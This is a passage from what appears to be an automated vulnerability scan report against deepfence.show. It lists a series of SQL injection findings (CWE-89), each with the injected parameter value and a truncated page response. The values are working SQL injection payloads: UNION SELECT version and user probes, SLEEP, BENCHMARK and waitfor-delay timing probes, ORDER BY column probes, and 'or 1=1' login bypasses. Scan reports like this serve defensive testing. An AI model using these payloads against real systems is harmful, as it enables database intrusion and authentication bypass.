__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1135
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(
1000000,MD5('A')),
5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1136
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1137
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# test UNION select 1, @@version, 1, 1;
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1138
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 20
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1139
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1140
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(
1000000,MD5('A')),
5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1141
Scan SQL InjectionSeverity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+
CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1142
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# waitfor delay '00:00:05'#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1143
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# admin"or 1=1 or ""="
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1144
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# admin") or ("1"="1"/*
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1145
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# "
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1146Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# admin' or '1'='1'#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1147
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 1=0--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1148
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# #
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1149
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified Name ValueParameters DemoUser1
#ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
